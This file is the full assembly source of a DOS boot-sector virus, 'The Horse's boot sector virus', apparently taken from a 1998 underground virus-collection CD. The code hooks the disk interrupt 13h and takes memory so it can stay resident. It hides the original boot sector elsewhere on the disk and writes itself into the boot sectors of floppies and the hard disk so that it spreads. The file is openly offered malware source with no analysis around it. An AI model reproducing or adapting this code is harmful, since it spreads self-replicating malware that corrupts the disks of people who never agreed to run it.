Underground/Underground CD1.iso/virii/zrodla/b/boothors.asm

Assembly Source File | 1998-01-14 | 2.7 KB | 217 lines

;
; The Horse's boot sector virus
;    This is an author's source
;



    .radix 16
begin:
    jmp start

my    label    word

    db    'IBM  3.3'
    dw    200
    db    2
    dw    1
    db    2
    dw    70
    dw    2d0
    db    0fdh
    dw    2
    dw    9
    dw    2
    dw    0

lee    label    word

virlen    equ    offset endcode-begin

start:
    cld
    sub    ax,ax
    mov    ds,ax
    mov    bp,7c00
    cli
    mov    ss,ax
    mov    sp,bp
    sti
    push    ax
    push    bp
    mov    ax,[413]
    push    [13*4+2]
    push    [13*4]
    pop    word ptr [old13h+7c00-100]
    pop    word ptr [old13h+7c00-100+2]
    dec    ax
    mov    [413],ax
    mov    cl,6
    shl    ax,cl
    mov    es,ax

    mov    [13*4],offset int13h-100
    mov    [13*4+2],es

    mov    cx,virlen
    sub    di,di
    mov    si,bp
    rep    movsb
    push    es
    mov    ax,offset here-begin
    push    ax
    retf
here:
    sub    ax,ax
    mov    es,ax
    int    13
    mov    ax,0201
    mov    bx,bp
    cmp    byte ptr cs:[ident-100],0fdh
    je    from_disk
    mov    cx,0007
    mov    dx,0080
    int    13
    jmp    exit

from_disk:

    mov    cx,2709
    mov    dx,0100
    int    13
    jc    exit
    push    cs
    push    cs
    pop    es
    pop    ds
    mov    ax,0201
    mov    bx,0200
    mov    cx,0001
    mov    dx,0080
    int    13
    jc    exit
    call    inf?
    je    exit
    mov    byte ptr [ident-100],0f8
    mov    ax,0301
    mov    bx,0200
    mov    cx,0007
    mov    dx,0080
    int    13
    jc    exit
    call    move
    mov    ax,0301
    sub    bx,bx
    mov    cx,0001
    int    13
exit:
    mov    byte ptr cs:[ident-100],0fdh
    retf
int13h:
    push    ds
    push    ax
    cmp    dl,1
    ja    skip
    cmp    ah,2
    jb    skip
    cmp    ah,3
    ja    skip
    sub    ax,ax
    mov    ds,ax
    mov    al,[43f]
    push    dx
    and    ax,3
    and    dx,3
    inc    dl
    test    al,dl
    pop    dx
    jne    skip
    call    infect
skip:
    pop    ax
    pop    ds
do:
    jmp    dword ptr cs:[old13h-100]

infected?:

    sub    ax,ax
    call    ojoj
    mov    ax,0201
    mov    bx,0200
    mov    cx,0001
    sub    dh,dh
    call    ojoj
inf?:
    mov    si,offset start-100
    mov    di,offset start-100+200
    mov    cx,mbyte-start
    rep    cmpsb
return:
    ret
infect:
    push    bx
    push    cx
    push    dx
    push    si
    push    di
    push    es
    push    cs
    push    cs
    pop    es
    pop    ds
    cld
    call    infected?
    je    leave
    mov    ax,0301
    mov    bx,0200
    mov    cx,2709
    mov    dh,1
    call    ojoj
    jc    leave
    call    move
    mov    ax,0301
    sub    bx,bx
    mov    cx,0001
    sub    dh,dh
    call    ojoj
leave:
    pop    es
    pop    di
    pop    si
    pop    dx
    pop    cx
    pop    bx
    ret

ojoj:
    pushf
    push    cs
    call    do
    ret
move:
    mov    di,offset my-100
    mov    si,offset my-100+200
    mov    cx,lee-my
    rep    movsb
    mov    di,offset usm-100
    mov    si,offset usm-100+200
    mov    cx,endcode-usm
    rep    movsb
    ret


mbyte     label word

old13h        dd    ?
ident        db    0fdh

usm    label    word

db    135d    dup (?)

db    55,0AA

endcode label word